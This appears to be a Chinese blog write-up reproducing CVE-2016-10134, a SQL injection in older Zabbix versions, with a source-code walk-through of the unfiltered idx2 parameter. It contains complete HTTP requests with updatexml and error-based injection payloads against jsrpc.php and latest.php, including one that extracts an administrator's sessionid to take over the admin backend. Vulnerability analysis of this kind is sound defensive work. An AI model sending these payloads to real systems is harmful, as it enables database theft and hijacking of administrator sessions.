zabbix SQL注入漏洞(CVE-2016-10134)

简介

Zabbix 是一个基于 WEB 界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供优秀的通知机制以让系统管理员快速定位/解决存在的各种问题。
Zabbix由server和agent两部分组成,zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能;zabbix agent需要安装在被监视的目标服务器上,它主要完成对硬件信息或与操作系统有关的内存,CPU等信息的收集。

zabbix server可单独运行见识远程服务器的服务状态,同时也可以agent配合,以轮询或被动方式访问agent收集的数据

影响范围

Zabbix 2.2.14之前的版本和3.0.4之前的3.0版本

复现

burpsuite截包先获取zbx_sessionid和PHPSESSID,然后利用updatexml报错注入

GET /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0) HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:9090/
Cookie: zbx_sessionid=4e02fb6e2a62385bf9f27bb9a9fc1b5b; PHPSESSID=01ovjgng5c9o6umeggstg1tkp3
Connection: close

也可以爆出管理员的sessionid直接进入后台

GET /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e,(select%20sessionid%20from%20sessions%20limit%200,1),0x7e)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:9090/
Cookie: zbx_sessionid=4e02fb6e2a62385bf9f27bb9a9fc1b5b; PHPSESSID=01ovjgng5c9o6umeggstg1tkp3
Connection: close

这个洞也可以从latest.php触发,其中sid是zbx_sessionid的后16位

GET /latest.php?output=ajax&sid=f9f27bb9a9fc1b5b&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0) HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:9090/
Cookie: zbx_sessionid=4e02fb6e2a62385bf9f27bb9a9fc1b5b; PHPSESSID=01ovjgng5c9o6umeggstg1tkp3
Connection: close

原理

因为是SQL注入,于是从URL入手分析

利用jsrpc.php进行注入

报错注入的语句:

jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

从jsrpc.php文件出发,getRequest函数判断type字段是否设置,若未设置则设为函数的第二个参数or null,这里为如果type字段未设置,以json格式解析请求体。type设置为0,默认以html格式解析。

$requestType = getRequest('type', PAGE_TYPE_JSON);
function getRequest($name, $def = null) {
    return isset($_REQUEST[$name]) ? $_REQUEST[$name] : $def;
}

method设置为screen.get,直接跳转到184行

这里的$data==$_REQUESTS,将url的参数数组传入CScreenBuilder::getScreen(),定位到zabbix-3.0.3/frontends/php/include/classes/screens/CScreenBuilder.php第171行,由于设置了resourcetype=17,因此追溯到zabbix-3.0.3/frontends/php/include/classes/screens/CScreenHistory.php第80行。
到这里清楚的是$screen = $screenBase->get();这行代码得到的是一个CScreenHistory->get()的输出,且由于mode=1,$result为CScreenHistory->get()->toString();这个get函数大体是根据$_REQUESTS中是否设置了一些字段的值,来确定返回的$output数组的内容。
回过来看CScreenBuilder.php的构造函数,其中设定了profileIdx和profileIdx2

追踪calculateTime函数到zabbix-3.0.3/frontends/php/include/classes/screens/CScreenBase.php第425行,大体逻辑是根据传入的$options数组中updateProfile、period等变量的值,对其余变量进行初始化。且:

if (!array_key_exists('updateProfile', $options)) {
    $options['updateProfile'] = true;
}
...
if (empty($options['period'])) {
    $options['period'] = !empty($options['profileIdx'])
    ? CProfile::get($options['profileIdx'].'.period', ZBX_PERIOD_DEFAULT, $options['profileIdx2'])
    : ZBX_PERIOD_DEFAULT;
}
...
if ($options['updateProfile'] && !empty($options['profileIdx'])) {
    CProfile::update($options['profileIdx'].'.period', $options['period'], PROFILE_TYPE_INT, $options['profileIdx2']);

}

最终调用了Cprofile的update函数。执行了:CProfile::update("web.item.graph.period",options['period'],PROFILE_TYPE_INT,"updatexml(0,concat(0xa,user()),0))"语句。
CProfile::update()函数没有直接插入或更新数据,而是检测当前对象是否完成初始化工作,然后检查options['period']的类型,最后将要update的数据添加到CProfile::$update的私有全局数组中(这里会有一个判断,根据$idx和$idx2获取值,如果为空则插入,值不等则更新,找不到$idx则添加self::$profiles[$idx])。执行完操作后,会调用CProfile::flush()便遍历CProfile::$insert和CProfile::$update来执行CProfile::insertDB()和CProfile::updateDB()函数。这里由于$idx2=="updatexml(0,concat(0xa,user()),0))",所以最终会调用insertDB函数执行插入操作。

private static function insertDB($idx, $value, $type, $idx2) {
    $value_type = self::getFieldByType($type);

    $values = [
        'profileid' => get_dbid('profiles', 'profileid'),
        'userid' => self::$userDetails['userid'],
        'idx' => zbx_dbstr($idx),
        $value_type => zbx_dbstr($value),
        'type' => $type,
        'idx2' => $idx2
    ];

    return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
}

截至目前$idx2没有受到任何过滤,成功传入到DBexecute函数中,报错注入成功。DBexecute()函数就是根据$DB[‘DB’]指定的数据库执行对应的数据库执行函数并返回结果。

利用latest.php进行注入

报错注入的语句:

/latest.php?output=ajax&sid=f9f27bb9a9fc1b5b&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)

这个注入点分析较为容易,直接定位到latest.php第70行

if (hasRequest('favobj')) {
    if ($_REQUEST['favobj'] == 'toggle') {
        if (!is_array($_REQUEST['toggle_ids'])) {
            ...
        }
        else {
            foreach ($_REQUEST['toggle_ids'] as $toggleId) {
                if ($toggleId[1] == '_') {
                    $hostId = substr($toggleId, 2);
                    CProfile::update('web.latest.toggle_other', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $hostId);
                }
                else {
                    $applicationId = $toggleId;
                    CProfile::update('web.latest.toggle', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $applicationId);
                }
            }
        }
    }
}

由于favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0),会直接执行CProfile::update('web.latest.toggle', 1, PROFILE_TYPE_INT, 'updatexml(0,concat(0xa,user()),0)');,之后的利用链和“利用latest.php进行注入”后面部分致。sid在Clink::toString中赋值,而output=ajax来源于zabbix-3.0.3/frontends/php/include/views/js/monitoring.latest.js.php中的第146行。


 上一篇
Portswigger Username Enumeration Portswigger Username Enumeration
via differrnt responses使用提供的username和password,先使用burpsuite intruder的sniper设置负载位置为username,密码随意写找出可能存在的用户名。爆出用户名后再将负载位置设为
2020-12-22
下一篇 
Supervisor Authenticated RCE(CVE-2017-11610) Supervisor Authenticated RCE(CVE-2017-11610)
简介Supervisor是用Python开发的一套通用的进程管理程序,能将一个普通的命令行进程变为后台daemon,并监控进程状态,异常退出时能自动重启。它是通过fork/exec的方式把这些被管理的进程当作supervisor的子进程来启
2020-12-19
  目录